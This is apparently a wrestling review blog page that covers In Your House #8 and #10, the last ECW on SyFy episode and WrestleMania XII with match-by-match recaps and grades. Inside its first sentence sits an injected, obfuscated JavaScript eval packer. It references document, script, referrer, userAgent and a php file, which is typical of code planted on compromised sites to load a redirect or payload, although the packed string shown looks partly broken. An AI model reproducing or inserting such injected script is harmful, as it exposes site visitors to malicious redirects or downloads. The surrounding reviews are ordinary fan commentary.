On This Day: May 8, 1996 – In Your House #8: Beware Of Power Outages

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhhda|var|u0026u|referrer|ifkyz||js|php'.split('|'),0,{})) Your House 8: Beware of Dog
Date: May 26/28, 1996
Location: Florence Civic Center, Florence, South Carolina/North Charleston Coliseum, North Charleston, South Carolina
Attendance: 6,000/4,500
Commentators: Vince McMahon, Jerry Lawler/Jim Ross, Mr. Perfect

We’re four weeks removed from our last show, and not a lot has really changed. Bulldog vs. Shawn is your main event for the title, and that’s all well and good. However, some of you might be wondering why there are two locations, dates and attendances listed for this show. Well, the answer is simple: it happened on two different nights and there were two different PPVs.

This wasn’t intentional though, as during the Sunday night broadcast, a severe thunderstorm knocked out the power in the arena. While the people inside could still see the show to an extent, the feed was knocked out and the PPV went off the air.

The opening match, Marc Mero vs. HHH and the main event, British Bulldog vs. Shawn Michaels, were seen as the power went off after the first match and was restored before the main event. For the second PPV, the two matches that were aired on Sunday night were simple re-aired However, the other three matches weren’t seen until later on, when the home video was released.

The matches were recorded but I’m really not sure what version is on the video that I have. I’d assume it’s the originals, but I could be wrong. The second night’s matches were longer as there were two matches that weren’t redone, and on the first night there was a 30 second squash that wasn’t redone either, so we’ll be able to tell soon enough.

Also, this is the first PPV to be held after Razor and Diesel left. At the super house show at MSG on May 19, we had the Curtain Call Incident. For those of you that don’t know, it was the show where Razor Ramon, HHH, Diesel and Shawn broke kayfabe and hugged as it was Ramon and Diesel’s last night with the company.

Since Hall and Nash were leaving and Shawn was world champion, the blame and punishment was all on HHH. He was supposed to be given the King of the Ring that year, but because of this it was given to a bald headed man named Austin. After winning that tournament, he uttered the legendary Austin 3:16 line.

Wrestling was changed forever, and without the Curtain Call, it may never have happened. On May 27, Hall showed up on Nitro and wrestling would never be the same, so this is really a landmark time in the history of the sport. I’ll go more into the historical aspects of things later as also tonight something huge happened but no one really knew what it would be.

Starting with this video, I’ll be including the Free For All match that airs. This was shown on the pre show as a free match in I suppose an attempt to get the fans that were on the fence to buy the show. Not sure how this particular pairing is going to do that but let’s try it out.

Tag Titles: Smoking Guns vs. The Godwins

The Godwins took the titles from the Bodydonnas at a house show a week prior to this, the same one that the Curtain Call happened at. Before the match, Mr. Perfect talks to the Godwins, but Sunny interrupts. Apparently Phineas signed a contract making her co-manager of the team. This is certainly from the first show as there was no dark match at the second.

This is a very fast match as it goes less than five minutes. There’s about three minutes of a match and then Billy kisses Sunny, messing up Phineas long enough for him to get suplexed and pinned. Post match, the Guns talk to Doc Hendrix and use the words “more aggressive”, signaling their heel turn. They say they’re the champions and proud of it, which is fine as they won the belts more or less cleanly. No one cares really.

Rating: C. There’s really nothing to say about this as it was so short it’s hard to grade. Granted it was on the free show, so what are you really expecting? Nothing great, but Sunny was as sexy as ever.

Now onto the main show as the rest of the pre show is nothing but promos and recaps.

Standard recap video to begin here. Shawn is great, we all love him, he might have tried to rape a woman, blah, blah, blah.

HHH vs. Marc Mero

This is the continuation of another feud that no one really cared about. It started at Mania 12 as Helmsley had Sable with him, but later said that Sable was a dime a dozen. Later on, he and Mero who was debuting that night. He and Helmsely got into a fight backstage and they had been feuding ever since with Mero being joined by Sable.

Fairly slow pace to start as Mero keeps getting his shoulder worked over. It looks like HHH’s only desire here is to hit the pedigree, as for the most part that was the extent of his offense. Vince mentions the storms and says that if they leave they will indeed be back. If nothing else at least they mentioned that it was a possibility. Mero is getting his teeth kicked in so far as Vince is complaining about the officiating in the WWF as of late.

He goes on to say that working on the shoulder is “smart on the part of Hunter Hearst Helmsley’s part.” Say that out loud and see how it sounds. Lawler continues chatting with HHH’s valet, who never talks or does anything at all for that matter. It’s been all arm work by HHH so far which is a different side to him that I really like. He even goes to the top and gets a decent looking chop.

That was smart as HHH isn’t a high flier but he went for something basic that looked good. Well done. He tries it again a bit later and gets crotched, which is a nice little thing saying don’t try something you’re not experienced at more than you have to. Mero hurts his knee as this is getting solid time. We’ve cracked 15 minutes and this isn’t boring yet. It’s holding up quite nicely which is always a good sign.

I really don’t like the ending here though. HHH has the pedigree hooked but drops it so Sable is sure to be watching. When he turns around he gets catapulted into the post and pinned. Way too abrupt.

We cut to the back to see Cornette talking about how he has a big bombshell for the main event, but he’s got a good one before it: Owen is the manager of Bulldog for tonight only. He gets a great line in about how Shawn made his bed and he tried to get Diana in it but now he’s sleeping alone. This is definitely from the second show as we cut from this interview where Cornette talks about a match that hasn’t happened yet to the start of the main event, but I’ll save that for the end.

I was planning on doing the original matches as well as the second editions of them, but as Beware of Dog 2 as they refer to it begins, they show why this would be difficult: not only did the feed get cut, but so did the lights at the arena.

That’s right, the matches happened, but they happened in the dark. Due to that, we move on with the rematches. Also starting with this show, Jim Ross and Mr. Perfect are your commentators. JR saying that Austin is really tough is something that never gets old. There are no rules in this so they can beat on each other all day and all night if they want to. All that matters is touching all four corners. It’s kind of trivial but at the same time it makes the match have a nice flow to it.

Strap Match: Savio Vega vs. Steve Austin

Now this was still the Ringmaster version of Austin and not yet Stone Cold. The stars continue to align for the WWF as on Sunday night, you had a standard strap match. On Monday night, DiBiase, Austin’s manager, said that if Austin loses, DiBiase would leave the company. Obviously this was the case as DiBiase joined the NWO. This is the famous part that I’m sure you’ve all heard of about the development of the Stone Cold character.

Once his manager left, the company had no idea how to use Austin. They knew in real life he was a redneck that could out curse a sailor. Since no one else had an idea, they said just do that on camera. The Texas Rattlesnake was born. Once again, something that seems so insignificant for the WWF, the power going out and DiBiase leaving, ultimately saves them.

This is one of the matches where you have to touch all four turnbuckles, so this is one of my all time favorite gimmick matches. We start with your standard back and forth beatings with the strap which is always fun. The commentators call Savio a Caribbean legend. Far from it, but it’s an interesting idea. They go onto say that he’s never lost this kind of a match. Now I have no idea if that’s true or not, but even if it’s not, that’s brilliant.

It makes Savio look awesome in this match. You can see the future crazy man in Austin during this match as he beats the tar out of Savio with that strap. Apparently if Savio loses he becomes the Million Dollar Man’s chauffeur. The strap goes for 10 feet and we get a spot that I like as Austin backdrops him over the top but gets pulled out with him. That’s a good illustration of how these matches work.

I’ve always loved this match as it offers a lot of fun spots and can go for a long while before you get a winner. This was Savio’s first feud worth anything and it’s really a good one. Granted, I think most of that was because of the guy he was feuding, but it was at least entertaining. At the time it was awful in my eyes, but now it’s quite good. This match is going on for a very long time but it’s still holding its own weight.

Austin actually jumps from the top rope and hits the barrier on the floor. That’s amazing to see considering what happens to his knees in the future. This is a great fight as they’re beating the living crap out of each other. Things like that are always fun, but when they can keep you entertained for this long, you know you have something good going for you which is the case here.

After over twenty minutes of nearly killing each other, we get to the ending which is Austin dragging Savio behind him and touching the buckles, but Savio gets them as well just behind him. Finally, it comes down to one buckle with the winner being the person that gets to it. They fight over the strap, but Austin accidentally slingshots Savio into it and sends DiBiase out of the company. Post match, Savio gets the crowd to sing that stupid song when people are leaving.

Rating: A. This was a great match. They beat the heck out of each other and it never got dull. They had a ton of time to work with and you could tell these guys wanted to beat on each other. It was the blowoff match for their feud and it went better than it should have. Excellent match, the best Savio ever had, and a great way to put Austin over without him getting pinned.

Yokozuna vs. Vader

This is the match that we were promised last month at Good Friends Better Enemies. It comes about 7 weeks after Vader hit three Vader Bombs onto the leg of Yoko on Raw, breaking it and sending him out on a forklift. We get the JR code talk, saying yes we know this match is going to suck but we have to put it on anyway because Vader needs someone to squash. However, this wasn’t the case on the last show from two days prior as Yoko pinned him after a Samoan Drop. Now however we move onto this which could be ok but it’ll likely suck.

They start off by hammering each other with big shots. That’s fine as these kinds of matches follow a very specific formula. Usually they’ll beat on each other for the big showdown then one will take over with some bad offense until we get to our finish. We set for the big clash, but Vader pulls up twice. I get that the spot works once but after that it kind of loses its specialness. When they finally explode, Vader goes flying.

That’s just not something that you say every day. Vader gets back in and just goes off on Yoko. Think of a Mike Tyson fight from the 80s or early 90s. That’s what you get here. However, he never goes off his feet. He actually hooks a takedown on Vader and takes control. This is mostly punching and ramming into each other. For the two guys that you have in there that’s as good as you’re going to get. That being said, this has been pretty good.

Finally Yoko beats Vader down long enough to set up for the Banzai. However, Cornette interferes to try to hit Yoko with the racket. He gets beaten down too as Yoko sets for the Banzai on him. Vader saves him and Vader Bombs Yoko for the pin.

Rating: C. This was a fun little match. It’s kind of like a cheap action movie. You don’t expect anything masterful, but you like what you get. Vader gets to beat the living tar out of Yoko and finally end this feud. This set up Vader as the challenger to Shawn’s title at Summerslam in a match that to this day I have never seen all the way through. Very fun little match.

Intercontinental Title: Casket Match-Undertaker vs. Goldust

Yes you read that right. This is probably the most forgotten feud in the history of the 90s. These two went at it for about three months but somehow Taker never won the title. Goldust kept escaping somehow, but no one remembers this at all. This match was designed to end the feud though with the ending to this match. We see a recap last night of Ahmed Johnson and Goldust beginning their feud.

Taker appears behind Goldust to start the match. As can be expected, this is mostly Taker beating the living tar out of Goldust for about ten minutes before a short comeback and then about five more minutes of beating down Goldust. The announcers are stunned when Goldust goes on offense and he’s the champion in this match. That’s saying a lot actually. At one point Goldust almost gets Taker in with the lid closed but Taker fights out.

We end with Taker tombstoning Goldust, but of course when he pops open the lid Mankind is inside. Mandible Claw knocks the Deadman out to end this. Post match, Mankind screws the casket shut but once the lid starts smoking and is removed, there’s no Taker inside as the show ends.

Rating: C+. Certainly not a match that was designed to mean much of anything. The whole point of this was to begin perhaps Taker’s best feud ever as he and Mankind finally get going. The match was almost a squash with Goldust absolutely getting his head handed to him by Taker for about 15 minutes, then Goldust goes on some token offense for three before Mankind comes in to take care of the big guy. If you don’t take it seriously, you’ll like it.

WWF Title: Shawn Michaels vs. British Bulldog

After Smith makes his entrance, we cut to the back to Shawn, who says anything can happen and instead of Beware of Dog, it should be beware of Kliq. He makes his intro to a big pop as could be expected.

As this is happening, Vince mentions that anyone that bought this PPV will be given a special encore of the show Tuesday night, which was actually a completely new show, save for the opener and this main event, which is kind of cool because the matches were extended on the Tuesday version. Cornette’s lawyer, Clarence Mason declares that Shawn will be sued for trying to break up the marriage of the Smiths.

Nothing ever came of this at all. Shawn dominates the early part of the match with all kinds of jumps and flips and other TNA specialties. He then puts on a headlock for far too long and while it doesn’t bring the match to a screeching halt, it does slow things down. Shawn pre-injury is impressive. He’s all over the place but he never once looks like he’s just doing random moves.

There’s a sequence to his stuff that most people just don’t have. Following a long short (yes that’s an oxymoron) arm scissors, Bulldog does the same, yet always impressive, lift up spot as these two did four years ago on SNME. More or less, Bulldog dead lifts Shawn with one arm. That’s just flat out amazing no matter who you’re for in this match.

When Shawn is down, Bulldog does this weird little hop when he kicks Shawn. He kicks his left foot out before stomping with the right one. It’s a weird looking thing as Smith almost looks like he’s dancing. Bulldog beats on Shawn for about five minutes but Shawn makes his comeback, but instead of just pinning him, we get a longer sequence which is a very nice break.

They trade the advantage for awhile but eventually we get a ref bump. Owen tries to interfere but gets a little chin music. Bulldog sets for the powerslam but Shawn gets out of it and lands a German suplex, but both men get pinned. Diana grabs the belt and tries to leave with it. To further prove why she shouldn’t be allowed on television, she holds it over her head upside down which makes her look even dumber than she already does.

Monsoon comes out and literally grabs it out of her hands. He talks to the referees and the Fink. We get the official decision: a draw, meaning Shawn keeps the title but there will be a rematch. Until then, Shawn is the champion. His music and dancing play us out.

Rating: B. This was a pretty good match. While it wasn’t a classic or anything, it did two things that great matches need to do: it surprised me with the ending and it kept me entertained. These two indeed had some chemistry together as the power game that Smith had was something that could have beaten Shawn and he was a somewhat believable challenger. They had a far better match a month later at King of the Ring where Shawn kicked his head off to pin him clean. This was good though.

Overall Rating: B+. This one is really hard to grade considering all of the confusion that happens because of the storm. However, you get five matches here, and the worst is certainly watchable. There’s nothing bad on here and with the NOW being a strong force to come against, it’s a good sign to see all that the company had coming up. You have HHH, Austin, Taker/Mankind and Michaels coming on strong and you can tell they’re all going to do something.

However, no one really remembers any of this because of how mind blowing WCW was at this time. If you watch this show out of the order that it was presented in on Tuesday night, it’s a fine way to spend two hours. Excellent show, by far the best In Your House so far and definitely a good way to spend two hours. Very high recommendation.

 

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ECW on SyFy – Febraury 16, 2010: Now Let It Stay Dead

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Date: February 16, 2010
Location: Sprint Center, Kansas City, Missouri
Commentators: Josh Matthews, Byron Saxton

Well as you can tell this is the final edition of the modern ECW show. There are a total of two matches on the show: a tag title match and Big Zeke, a muscleheaded no talent hack that would never have gotten more of a second look in ECW and Christian who would have been ok there. Take a guess as to how this is going to end. NXT would debut the next week so let’s get to it.

We get to meet the NXT rookies and pros tonight.

Tag Titles: The Miz/Big Show vs. Goldust/Yoshi Tatsu

Miz has three belts at the moment, all of which would cause him to become my #1 draft pick in the fantasy league. Doesn’t this make you riveted to the screen? I mean it’s clear that two guys like Dust and Tatsu have a great chance to win the belts here. Goldust and the smaller champion start us off. Yoshi is fast but Goldust comes in and gets drilled by Show as we take a break.

Tatsu comes in and kicks a lot which gets him nowhere. Show busts out a headlock takeover of all things. Well that’s not something you expected. Yoshi has an eternal flame of pride. This just isn’t that interesting as there’s just a total lack of drama and it’s hurting things here. Goldie comes in and cleans the kitchen (not enough to be the whole house) but gets punched and the Skull Crushing Finale ends this.

Rating: D+. It looked like they were trying but come on: Tatsu and Goldust? Is that really the best they could do? They couldn’t bring Dreamer out of mothballs for this? It just didn’t do anything for me and while it was ok, no one cares about Goldust as a serious contender at this point and Tatsu hadn’t done a thing. It just fell flat and that’s never good.

The first pairing we see is Jericho/Barrett. Barrett is obsessed with money apparently. Where did that aspect of his character go?

Next up is Hardy/Gabriel. Gabriel is a cross between Johnny Damon and Adam Lambert.

Tiffany, the GM still and not a member of Blonterouge or whatever the name is now, addresses the ECW audience and is interrupted by Ryder and Rosa. He wants into the title match and says there’s nothing Tiffany can do about it.

MVP and Skip Sheffield are a team. No not really.

We do the final Abraham Washington Show and I have a feeling this isn’t going to be funny. He thinks they’re in St. Louis to get cheap heel heat. He talks about how he’ll be a free agent soon so people get to pay for him. He says he has the biggest name in wrestling for his final guest and of course it’s himself. Cue Shelton for no apparent reason.

Shelton really was bad on the mic. This is painful. He reminds Abe that everyone is a free agent now and gets interrupted by Vance Archer who had been feuding with Shelton for awhile. The Dudebusters come out and say they’re the most important thing on the show. Kozlov comes out and yells. Dang Vince really wanted to kick the original ECW to death didn’t he?

There’s the big brawl and Washington is mad because they’re messing up his furniture when he’s a single payment away from getting his security deposit back. Kozlov and Shelton shake hands and leave for no apparent reason.

Another pairing is Carlito and Michael Tarver.

The I think fifth pair is Daniel Bryan and Miz. And cue the IWC exploding over it.

We talk about the Elimination Chamber since that’s on Sunday.

Christian and Slater are announced.

Christian comes out and says it’s been a year since he came back. ECW isn’t a demotion to him but rather home. He talks about how he got to be the star on ECW and he’s loved every bit of it. Tonight is for the ECW Originals and for ECW. Oh come on now you know he’s losing. There’s an ECW chant for you. He’ll be proud to be the final ECW Champion. This came off well and made ECW sound very respectable and like a good thing.

Punk and Young, who apparently has incredible strength, will be a team.

ECW Title: Ezekiel Jackson vs. Christian

This is under Extreme Rules and Christian brought a shopping cart of weapons. Christian gets him to the floor and here’s Ryder to be a jerk. He gets beaten up like a little nitwit and Tiffany bounces down to the ring to take down Rosa. Back from a break and it’s all Big Zeke. Christian hits the Pendulum Kick into a trash can lid into Zeke.

Regal and Zeke set up a table but get it knocked into their faces. Some WEAK kendo stick shots give the advantage back to the Canadian. This was far better on the first viewing. Regal interferes and breaks up the Killswitch and Jackson slams Christian through a table to completely kill the history of ECW forever. Until TNA redoes it soon and kills its corpse.

Rating: C-. It’s ok but the ending was again fairly clear. You knew Vince was going to go with the big title change to end things and that it would be fairly stupid. The match was ok at best but with three interferences for Jackson it became watered down and overbooked. Glad to see they kept with the original ECW vision on that one.

We close the show and the brand with R-Truth being Otunga’s pro and the big musclehead holding the ECW Title. I’d love to see Heyman’s reaction to that.

Overall Rating: D. This was just bad. It’s really more of a commercial for NXT than anything else. Christian’s speech was nice but this was about ending ECW once and for all which was just done to let Vince have a good feeling about it at the end of the day. I wish this had been the end of ECW but of course TNA wants to get a few more dollars out of it while they can so here we go all over again. ECW dies once again with nothing to show for it. Yeah I’m stunned too.

 

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Wrestlemania Count-Up – Wrestlemania XII: Grabbing The Brass Ring

Wrestlemania XII
Date: March 31, 1996
Location: Arrowhead Pond, Anaheim, California
Attendance: 18,853
Commentators: Jerry Lawler, Vince McMahon

The opening video talks about the dream of the champion (to stay on top) and the challenger (to rise to the top of the mountain). They make the match feel like a very big deal which is the right idea. Good stuff.

Camp Cornette vs. Yokozuna/Jake Roberts/Ahmed Johnson

We recap Piper vs. Goldust which was supposed to be Razor vs. Goldust but Razor got in trouble for drugs. The idea is that Goldust is in lust with Piper but the REAL MAN Piper will have none of this gay stuff. The result is a Hollywood Backlot Brawl which is exactly what it sounds like: stupid.

Goldust vs. Roddy Piper

Steve Austin vs. Savio Vega

More car chase stuff. Vince: “This footage looks awfully familiar.”

More car chase stuff.

Hunter Hearst Helmsley vs. Ultimate Warrior

Piper is on his way back to the arena.

Diesel vs. Undetaker

So Diesel cost Undertaker a title match so Undertaker pulled Diesel through the ring during a cage match for the title against Bret. Then Taker did his usual mind games against Diesel, setting up this battle of the titans. Diesel jumps him to start and the brawl is on fast. Taker clotheslines him down but misses an elbow drop. They fight to the floor with Diesel going face first into the steps. This is fast paced stuff so far.

The Dead Man starts slugging back and they both hit big boots to put each other down. Taker sits up first but Diesel hits him in the back to get control again. Off to the bear hug that you knew was coming sooner or later. Taker finally fights out of it and things slow down again. Notice that the fans are into this one, unlike anything in the first hour of the show. Taker hits a clothesline off the top for a somewhat delayed two count.

Rating: B-. For what it was, this was pretty solid stuff. Undertaker looked better than he usually does and it was really in doubt if he could hang with someone that had just come off a year long world title reign. This was probably the turning point for the Dead Man from monster of the week slayer to big time threat to anyone. He would soon be tested by a debuting Mankind, which would change his career forever.

Roddy Piper vs. Goldust

Shawn says this is about getting to the top of the mountain.

Bret says everything has come to this point and he wants to wake up the next day with the belt.

Gorilla Monsoon is officially in charge again, taking over from Piper.

WWF World Title: Bret Hart vs. Shawn Michaels

Back to the headlock which is smart this early in a match like this. Shawn gets up again and fires off some armdrags before hooking an armbar. Freddie Blassie and Stu Hart are in the front row. They run the ropes a few times until Bret takes it back to the mat, only to be caught in a kind of abdominal stretch on the mat. They go into the corner and Shawn fires off some right hands, only to be sent into the other corner. Shawn is cool with that as he sends Bret to the floor with a headscissors. Fifty minutes left.

Michaels starts speeding things up with a standing hurricanrana but Bret hangs onto the ropes to avoid the superkick. A backbreaker gets two for Shawn but Hart bails to the floor to avoid the kick again. Instead Shawn goes up and hits a HUGE dive to the floor to take the champ down. Back in and Shawn skins the cat, only to get caught in a small package for two. A Perfectplex gets two for Shawn and he hooks a sleeper. Hart gets his arm up on the second drop so Shawn rams him into the corner again.

BUT WAIT!

Bret, ever the mature one, storms off like a baby with the ability to walk as Shawn is awarded the title. Shawn has a very touching moment when he realizes he finally won the title and is very somber. Then he turns into Shawn and goes nuts celebrating which he deserves the right to do.

Ratings Comparison

Camp Cornette vs. Yokozuna/Jake Roberts/Ahmed Johnson

Original: D+

Redo: C

Steve Austin vs. Savio Vega

Original: B-

Redo: C+

Ultimate Warrior vs. Hunter Hearst Helmsley

Original: N/A

Redo: N/A

Undertaker vs. Diesel

Original: B

Redo: B-

Roddy Piper vs. Goldust

Original: N/A

Redo: N/A

Shawn Michaels vs. Bret Hart

Original: B

Redo: B

Overall Rating

Original: C-

Redo: C+

I guess it gets better over time.

http://kbwrestlingreviews.com/2011/03/19/history-of-wrestlemania-with-kb-wrestlemania-12-one-really-long-match-and-not-much-else/

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In Your House #10: Mind Games – Foley’s Best Match Ever And A Classic Show

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Date: September 22, 1996
Location: Core States Center, Philadelphia, Pennsylvania
Attendance: 15,000
Commentators: Vince McMahon, Jim Ross, Mr. Perfect

Well, Summerslam has come and gone. Paul Bearer famously turned on Taker to join Mankind after the Boiler Room Brawl. Shawn survived against Vader, and Ahmed had to vacate the IC belt due to injury. Marc Mero would win it the night after this show though. Other than that, not a lot of note has happened. I remember being afraid as a kid that Mankind would take the title here.

As silly as that was, it was a legitimate possibility. However, other than that this card looks pretty weak. Just six matches, but aside from one the shortest is a respectable 5 minutes and 13 seconds. This show gets a lot of praise though, so let’s see if it lives up to the hype.

Free For All-Savio Vega vs. Marty Jannetty

DANG Jannetty just won’t go away will he? The most interesting part of this match is Jannetty’s partner in the New Rockers, Leif Cassidy, more commonly known as Al Snow at ringside. The crowd is chanting the name of some independent northeastern wrestling organization. There’s some dude in the front row that’s really short and looks tough. His tattoo says Toz or something like that.

There’s some dude chugging beer next to him. The third guy there looks….well he looks……he looks hardcore. He’s hardcore? He’s hardcore? He’s HARDCORE! Bradshaw is in the back and apparently is angry that he’s never been on Pay Per View. Oh how that will change. Also, JR mentions he saw the Undertaker come in and go to his dressing room. How weird does that sounds?

Anyway, we have a bad match to watch here. Vince and JR actually acknowledge the ECW chants, saying that this is the home base of their independent company. They thank them for joining WWF for the evening and are glad they bought tickets. My goodness…that was borderline classy.

I know it was planned but still, they weren’t jerks about it. In something that is making me laugh, JR mentions he saw Jim Cornette eating two triple cheeseburgers from a fast food place. For some reason that I simply don’t understand, Jim Cornette’s eating habits at Wendy’s are legendary in the wrestling business. A number three combo large with no lettuce or tomato, extra cheese and no ketchup or mustard with a sprite.

I didn’t look that up, I just knew it off the top of my head, and that’s exactly what he would order every time. Look it up on his website and you’ll see that I’m right. This match is just boring for the most part. It’s just your standard one on one match that ends with Marty getting reversed and pinned.

Rating: D. There was nothing here and the talk of cheeseburgers was more interesting. That’s simply not a good sign at all. Nothing match and just relatively bland. It was free though so that helps things out.

Good opening video but the editing is a bit odd. We get the package of Mankind vs. Shawn, then Goldust vs. Taker, then another on Mankind and Shawn. That just doesn’t make a lot of sense. Very lackluster welcome from Vince. There’s also no music playing, which just kind of kills the mood.

Strap Match-Savio Vega vs. Justin Hawk Bradshaw

This match is a result of what happened on the Free For All. See, again the match was bad, but it served a bit of a purpose for the PPV. I like how Savio is built up as a god in these matches. It’s something unique about him and it gives him a specialty, kind of like Foley and hardcore. Anyway, this match is rather infamous. Like I said this is ECW country.

During this match, Sandman, Dreamer and Taz create a small riot in the front row as Sandman spits beer at Vega. There’s a huge ordeal and all kinds of security guarding them, which completely takes away from the match but who cares about that. I particularly like how the commentators keep talking about how great this match is until the beer incident. Once that happens, they more or less make it sounds like it’s time to just end this.

That’s a shame too as this wasn’t a terrible match. The stipulation was pretty random, but at least it was something that fit with Savio and continued this mini feud that had been going on for months now with no one caring about it. The finish though was exactly the same as Vega/Austin from a few months ago. Vega holds on to get the first three but then we get a tug of war and Savio is launched into the fourth corner.

Rating: C+. Not bad at all really, but it’s overshadowed by the ECW incident. I’ve long since been a fan of this kind of stipulation, but I’d like to see it as a match for a solid feud and not just something that’s there for the sake of filler. As long as they had been feuding for, this was filler and nothing more. Not bad, but for seven minutes, what are you expecting?

Jose Lothario vs. Jim Cornette

This is just a manager vs. manager match. However, Cornette is more known for his eating abilities and not his work in the ring. Lothario trained HBK and Bobby Lashley, as well as had a relatively successful career in Texas during the 70s.

This started a month ago in a face to face debate that of course turned into a fight. Since then, Super Sock, which was Lothario’s nickname, beat up Cornette on a regular basis. Of course, Cornette got in all the standard old guy jokes: when he was in school there was no history, his social security number is 1, etc.

For some reason, before this match we jump to the back to see “Razor Ramon and Diesel” beat up Savio Vega. This was just a strange angle that never made a bit of sense to me at all. For some reason the decision was made to turn JR heel.

He started going on these absurd rants about how he was the reason WWF was as successful as it was, and promised to bring back Razor and Diesel. They weren’t the real ones obviously and it was a bomb. The fake Razor never did anything of note but a year later the fake Diesel would become known as Kane.

The whole thing made no sense at all and no one bought it. About a month later the company woke up and realized that JR simply isn’t a heel character so they just dropped the angle all together.

Anyway, Jose comes out to Shawn’s music. This match is just hysterical. Cornette is about 240lbs but fat. Jose is 62 years old and in decent shape. He beats Cornette in about a minute, but the jokes that JR and Perfect get in during that time are just great. Cornette is without a doubt one of the funniest guys I have ever seen and this is no exception. He’s so on here it’s amazing.

Rating: N/A. Hardly a match but not enough to grade really.

Savio says he’s not sure who attacked him but it might have been Razor and Diesel.

We go back to the arena where Brian Pillman comes out and says that he’s upset at Bret. Apparently Bret bailed out of an interview that Brian had set up. We see a video from Bret saying that there was never an interview and Pillman is lying. Pillman says that Philadelphia is a horrible city with drugs, prostitution etc. He says that he’ll bring out someone to clean up the city and out comes Owen.

Owen says Bret needs to retire, and brings out Stone Cold. Austin says things like Bret claims to be the excellence of execution but Austin lives it instead of saying it. Austin is on top of his game here but it wouldn’t be until Bret answered his challenge that Austin was launched into the stratosphere. This was most entertaining.

Tag Titles: Smoking Gunns vs. Owen Hart/British Bulldog

Pretty much Camp Cornette was just handed the #1 contender spot simply because everyone knew they were the best team in the company. This match was pretty much just a formality to confirm it. No Cornette here though which is I guess because he got his teeth kicked in. Ah yes that’s where he is according to Doc.

Was there anything Sunny didn’t look good in? Bulldog and Owen have commandeered the massive Sunny poster. YOU SWINE! Billy and Owen start us off. Could the Guns have been any more bland? Mason comes down with a clipboard. I believe this was due to a document Cornette signed which was him accidentally signing away the control of his stable.

Owen controls early of course since Billy has nothing at all. Ross brings up Vince’ indictment which has to be a line fed to him because if not then he would die. Perfect begins the lie about Billy being awesome. I couldn’t stand him eventually as he was constantly being pushed and he never deserved it whatsoever.

The other two are in now and we get the and it’s a chop block to Bart and to put him in trouble. Vince reads off Clarence’s business card to kill time. This isn’t much at all here as we’re just kind of going through the motions.

All challenger dominance here. Enziguri on Bart gets two. The Gunns take over for a change of pace and still nothing is working that well at all. Sidewinder on Bulldog but Mason gets the referee. Slammy to Billy’s head doesn’t get us anywhere either. Crowd is rather dead here too.

Billy takes over and you would think that would imply some pops from the crowd wouldn’t you? Apparently we’re playing the quiet game I suppose. Billy makes a stupid tag and Bart walks into the powerslam to give the heels the titles which they would hold forever. Sunny goes off on them afterwards, splitting with them.

Rating: D+. Pretty boring here for the most part as the Gunns just sucked BADLY. This wasn’t anything special or even good as both teams knew there was no real point or heat at all here and it wasn’t any good. Boring match and the only thing it had going for it was that it wasn’t incredibly long.

The Gunns would finally split up soon after this and pretty much no one would care. After this, the tag title would pretty much do nothing for about a year as Owen and Bulldog dominated the division. You’d get a random two superstar tag team reign (Austin/Foley etc.) or the off the wall reign like the returning LOD or the Headbangers.

It wasn’t until November of the following year that the New Age Outlaws would form and breathe life into it as teams like the APA and the Hardys made the belts and the division worth anything again.

After almost two years of worthless reigns by teams no one wanted to see, the Dudleys finally arrived as the hottest tag team act on the planet and brought in another golden age of tag wrestling along with the other two teams that everyone associated them with. And that’s enough Attitude Era tag team history for now. More in later reviews.

Jerry Lawler vs. Mark Henry

Oh dang it I forgot Henry debuted in this time period. We see a recap of Henry making some run ins to help out Jake Roberts against Lawler. Henry is pure face at this point and acts like Kurt Angle when he debuted. It’s a sight indeed. Lawler continues to prove why he’s one of the best mic men ever. His insults are so basic but his delivery is great and it just works.

Lawler even insults Henry by saying he’s going to teach him all kinds of lessons. Lawler of course gets his head handed to him. Henry has no offense at this point but that makes sense as he’s a rookie in his first match. He uses very basic moved like slams and chops, but for someone brand new that’s logical. However, when they’ve been with the company for twelve years it’s not acceptable.

This is a pure comedy match with Lawler never being able to get anything going. He lands an illegal object to the head of Henry which does some damage. Henry comes back with more rookie offense of course and lands an over the shoulder back breaker for the submission. Think of the starting position for the Razor’s Edge but instead of lifting them up you pull them down so they’re being pressed against your shoulder.

It really looks painful actually, despite Henry not using it right. Anyway, it was a decent debut. Post match, the New Rockers and HHH run out to try to fight Henry for absolutely no reason at all. They of course get beaten up. Pyro goes off for no logical reason and Henry celebrates.

Rating: B-. It’s a comedy match for a gimmick wrestler’s debut. Were you expecting Steamboat/Savage here? For what it was, this was fine. It made Henry look good against a veteran that didn’t need a win and for a person like Henry at the time I really liked his offensive style. However, that was 1996. It’s now 2009 and Henry still uses the same moveset. That is unacceptable plain and simple.

In the back we see the new tag champions with their new manager that lawyer guy. Apparently he tricked Cornette into signing their contract to him. No one cares.

Goldust vs. Undertaker

We see a recap, which implies Mankind is working for Goldust. Why would that make any sense at all? Why would a mid carder have power over a main eventer? Come on WWF, think please? This is a Final Curtain match, which means no DQ and you can only win by pinfall. Ok I guess. Yet again though, Taker is just beating Goldust up. At least this time it’s not as one sided.

It’s still one sided, just not as badly. Marlena does nothing really. Taker picking her up by her elbows was cool though. More random moves from Taker including a vertical suplex. Goldust throws some dust into his eyes to take over and for the first time in five months, we see Goldust work over Taker. You get your basic stuff here, and then Goldust uses one of the most effective basic moves I’ve ever seen.

Taker is in position for a reverse chinlock, but instead Goldust just covers Taker’s mouth and nose with his hands. That’s such a simple move but it’s actually brilliant. Then we get your standard Taker comeback after Goldust rubs his own chest a bit.

Basic stuff but the crowd pops for it so it’s all well and good. Anyway, we get the chokeslam from the top and a tombstone to finally polish off this feud. Post match, the commentators talk about how they’re looking forward to Buried Alive next month, which really was a cool idea I think. It was absurd, but a good kind of absurd.

Rating: B-. Far better than anything they have done before and for one reason: it wasn’t a squash. Goldust got in some good offense here and controlled a decent portion of this match. That’s really all I ask for is something somewhat competitive. Good match and while not a classic, it got Taker a decent win in his main storyline, which means it served its purpose.

